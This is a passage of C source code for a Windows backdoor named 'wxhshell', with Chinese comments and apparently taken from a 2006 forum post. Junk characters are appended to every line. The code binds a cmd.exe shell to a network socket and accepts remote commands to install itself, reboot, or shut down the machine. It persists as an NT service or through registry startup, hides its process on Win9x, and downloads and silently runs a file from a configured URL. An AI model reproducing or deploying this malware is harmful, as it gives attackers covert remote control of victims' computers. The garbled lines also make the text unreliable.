  } mG%cE(j*D  
  // 安装 1(kd3 qX  
  case 'i': { cGW L'r)P  
    if(Install()) {XW>3 "  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7N0m7SC  
    else #Z]<E6<=9  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); vIFx'S~D  
    break; 3ep L'My$  
    } Koz0Xy  
  // 卸载 ktv{-WG2_  
  case 'r': { fVZ_*'v  
    if(Uninstall()) >Lz2zlZI  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); pe+m%;nzR  
    else 72y!cK6  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); gIcPKj"8${  
    break; ]xhH:kW4  
    } %Jn5M(myC  
  // 显示 wxhshell 所在路径 d_98%U+u  
  case 'p': { vf`]  
    char svExeFile[MAX_PATH]; DE?@8k  
    strcpy(svExeFile,"\n\r"); =OR&,xt  
      strcat(svExeFile,ExeFile); x_EU.924uY  
        send(wsh,svExeFile,strlen(svExeFile),0); &0mhO+g   
    break; N mN:x&/  
    } 6uFGq)4p@  
  // 重启 ND5E`Va5R  
  case 'b': { /PkOF ((  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); *JaFt@ x  
    if(Boot(REBOOT)) C,u;l~zz  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); .|K\1qGW0  
    else {  uMBb=   
    closesocket(wsh); U4Pk^[,p1G  
    ExitThread(0); $P&27  
    } b*a}~1  
    break; CjA}-ee  
    } w2tkJcQ3  
  // 关机 .sUL5`  
  case 'd': { vaZ?>94  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); GF Rd:e  
    if(Boot(SHUTDOWN)) r3.v^  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1z[blNs&  
    else { Sq 2yQSd  
    closesocket(wsh); 8\Eq(o}7  
    ExitThread(0); Jaf=qwZ/`  
    } < YuI}d~'  
    break; Q1'D*F4  
    } <lLk (fC  
  // 获取shell p|w;StLy  
  case 's': { c>Ljv('bj  
    CmdShell(wsh); ~#[ ZuMO?  
    closesocket(wsh); to 3i!b  
    ExitThread(0); yM34GS=,J  
    break; Q&9& )8-  
  } @aGS~^U h  
  // 退出 Mq,_DQ  
  case 'x': { wmPpE_ {  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); JGk,u6K7  
    CloseIt(wsh); )^'wcBod,  
    break; k<S!|  
    } 0 .p $q  
  // 离开 ;d  >  
  case 'q': { 3!B3C(g  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); HjN )~<j  
    closesocket(wsh); 6_a.`ehtj<  
    WSACleanup(); 5(OF~mX#  
    exit(1); zphStiwIQ  
    break; ~9ILN~91  
        } v6?<)M%  
  } ,K[B/tD{j  
  } w@ 2LFDp  
QfM*K.7Sl  
  // 提示信息 v]27+/a$c  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ? 5 V-D8k  
} `24:Eg6r  
  } )uyh  
y/2U:H  
  return; 'lNl><e-  
} 7f td2lv  
 yQ8H-a.  
// shell模块句柄 k .l,>s`!  
int CmdShell(SOCKET sock) ,@ Cru=  
{ $RSVN?  
STARTUPINFO si; rQ$A|GJL  
ZeroMemory(&si,sizeof(si)); ?0Ca-T Rz  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; f1>^kl3@P  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; XsHl%o8,z  
PROCESS_INFORMATION ProcessInfo; HI eMV,.QN  
char cmdline[]="cmd"; (;h]'I@  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 5cQBqH]  
  return 0; c#;LH5KI  
} "Hjw  
Vt4}!b(O  
// 自身启动模式 3B "rI  
int StartFromService(void) Q<``}:y|>  
{ V2]S{!p}k  
typedef struct "WYcw\@U  
{ 5tl}rmI`  
  DWORD ExitStatus; Fk(0q/b  
  DWORD PebBaseAddress; a^5`fA/L,  
  DWORD AffinityMask; E(U}$Zey  
  DWORD BasePriority; ddHIP`wb  
  ULONG UniqueProcessId; z?"5= "D  
  ULONG InheritedFromUniqueProcessId; JT^E `<nn  
}   PROCESS_BASIC_INFORMATION; c)E[K-u  
I}v'n{5(  
PROCNTQSIP NtQueryInformationProcess; j)IK  
n7q-)Dv_U  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ?3z+|;t6C  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 3]Lk}0atpL  
A1ebXXD )  
  HANDLE             hProcess; \a]\j Zb  
  PROCESS_BASIC_INFORMATION pbi; D+o.9I/{  
O\KAvoQ%s  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 0XYO2 k  
  if(NULL == hInst ) return 0; {Rj'=%h  
_@prv7e  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); o>`/,-!  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); j*:pW;)^  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ?s"v0cg+  
EShakV  
  if (!NtQueryInformationProcess) return 0; S s`0;D1  
e<^4F%jSK  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Eq<#pX6  
  if(!hProcess) return 0; 56_KB.Ww~  
Yg]f2ke  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; G[>-@9_b  
2aje$w-  
  CloseHandle(hProcess); i)(Q Npv  
ycAQPz}=I  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 'qd")  
if(hProcess==NULL) return 0; ]VYl Eqe  
S8)awTA9  
HMODULE hMod;  B-gr2-  
char procName[255]; tl^[MLQa  
unsigned long cbNeeded; &s<  
[sk"2  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); _gGy(`  
Rt:PW}rFf  
  CloseHandle(hProcess); GKd>AP_  
6~/H#8Kdn  
if(strstr(procName,"services")) return 1; // 以服务启动 KnFbRhu[  
#EM'=Q%TO  
  return 0; // 注册表启动 #129 i2  
} #dfW1@m  
y14@9<~9  
// 主模块 pq&c]8H  
int StartWxhshell(LPSTR lpCmdLine) Go67VqJr  
{ TnaIRJ\B  
  SOCKET wsl; aBC[(}Pb]  
BOOL val=TRUE;  Fszk?0T  
  int port=0; NR[mzJv  
  struct sockaddr_in door; si;]C~X*  
d?P aZz{4  
  if(wscfg.ws_autoins) Install(); 0Yjy  
;hZ@C!S:  
port=atoi(lpCmdLine); 5nn*)vK {  
Bm7GU`j"  
if(port<=0) port=wscfg.ws_port; QE}@|H9xs  
4yM8W\je  
  WSADATA data; r/T DU[`&  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; WE7l[<b  
^9RBG#ud  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   g0U ?s  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); z} \9/`  
  door.sin_family = AF_INET; rN~`4mZ  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); W%W. +f  
  door.sin_port = htons(port); QaO`:wJj  
DRIv<=Bt  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { R`&ioRWj  
closesocket(wsl); YBO53S]=  
return 1; ]O\W<'+V  
} 4dK@UN\  
({9!P30:  
  if(listen(wsl,2) == INVALID_SOCKET) { ?f`-&c;  
closesocket(wsl); F1=+<]!  
return 1; HW G~m:km  
} S_CtE M  
  Wxhshell(wsl); YC_^jRB8n  
  WSACleanup(); FTfA\/tl(;  
/ fq6-;co+  
return 0; {EUH#':  
IXN4?=)I  
} xVyUUzXs  
| <*(`\ 'w  
// 以NT服务方式启动 !%X`c94  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) .'1j5Y-l`N  
{ z Y|g#V-  
DWORD   status = 0; "p{ '984r<  
  DWORD   specificError = 0xfffffff; K?je(t^  
9wAc&nl-Y  
  serviceStatus.dwServiceType     = SERVICE_WIN32; \PONaRK|[z  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; @^%_ir(  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; v^pP& <G  
  serviceStatus.dwWin32ExitCode     = 0; kI'A` /B l  
  serviceStatus.dwServiceSpecificExitCode = 0; `[\phv  
  serviceStatus.dwCheckPoint       = 0; J4g;~#_19  
  serviceStatus.dwWaitHint       = 0; "/fs%F  
h;KK6*Z*$E  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); S\ZAcz4  
  if (hServiceStatusHandle==0) return; z{d5Lrk  
wVOL7vh  
status = GetLastError(); ,]mwk~HeF  
  if (status!=NO_ERROR) =R.9"7~2x  
{ ks;wc"k"  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; $rEd5W&d!  
    serviceStatus.dwCheckPoint       = 0; jZ!JXmVV  
    serviceStatus.dwWaitHint       = 0; eLny-.i ,7  
    serviceStatus.dwWin32ExitCode     = status; }6> J   
    serviceStatus.dwServiceSpecificExitCode = specificError; z)>{O3  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); af(JoX*U  
    return; 7]j-zv  
  } )''wu\7A)'  
YoJ'=z,e  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; !f-o,RJ  
  serviceStatus.dwCheckPoint       = 0; J#DcT@  
  serviceStatus.dwWaitHint       = 0; Z5L1^  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ELF`u WG E  
} )X;cS} yp  
J\'5CG  
// 处理NT服务事件,比如:启动、停止 77d`N  
VOID WINAPI NTServiceHandler(DWORD fdwControl) `Qf :PX3  
{ Ib8i#DV  
switch(fdwControl) R TUNha^<T  
{ \q|PHl  
case SERVICE_CONTROL_STOP: qo- F9u1J  
  serviceStatus.dwWin32ExitCode = 0; rcmAVl:$>  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ; ,<J:%s  
  serviceStatus.dwCheckPoint   = 0; }>~>5jc/Pg  
  serviceStatus.dwWaitHint     = 0; &2=KQ\HO  
  { d %W}w.  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); E$Pjp oQTf  
  } xPup?oP >  
  return; bTGK@~  
case SERVICE_CONTROL_PAUSE: FraW6T}_  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; Zw][c7%  
  break; x,gE$dNzy  
case SERVICE_CONTROL_CONTINUE: u^zitW!X$  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; "q^'5p]  
  break; &vX!7 Y  
case SERVICE_CONTROL_INTERROGATE: [=6~"!P}  
  break; gQ[^gPWP"  
}; IW o~s  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); BemkCj2  
} "%Ana=cc  
m%c0#=D  
// 标准应用程序主函数 psX%.95Y  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) aiZo{j<6  
{ 0"psKf'  
4F,Ql"ae(  
// 获取操作系统版本 4<< bk_7'  
OsIsNt=GetOsVer(); L?27q  
GetModuleFileName(NULL,ExeFile,MAX_PATH); u?;Vxh3@|  
!5%5]9'n@*  
  // 从命令行安装 asN }  
  if(strpbrk(lpCmdLine,"iI")) Install(); $>ZP%~O  
,i?!3oLT  
  // 下载执行文件 hdtnC29$  
if(wscfg.ws_downexe) { \41)0,sEy  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 1DLG]-j}  
  WinExec(wscfg.ws_filenam,SW_HIDE); Z#6~N/b  
} C%_  
(}1v^~FXj  
if(!OsIsNt) { - (_e=3$  
// 如果时win9x,隐藏进程并且设置为注册表启动 p?$G>nkdq  
HideProc(); R:OU>HsdX  
StartWxhshell(lpCmdLine); NJ)2+  
} 3U"')  
else Dbdzb m7  
  if(StartFromService()) .k,Jt+  
  // 以服务方式启动 )ko{S[gG  
  StartServiceCtrlDispatcher(DispatchTable); @" 0tW:  
else plx/}ah8  
  // 普通方式启动 ~8xh0TSi  
  StartWxhshell(lpCmdLine); 3V Mh)  
`X<`j6zaG  
return 0; [s{r$!Gl  
}
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只看该作者 1 发表于: 2006-10-10
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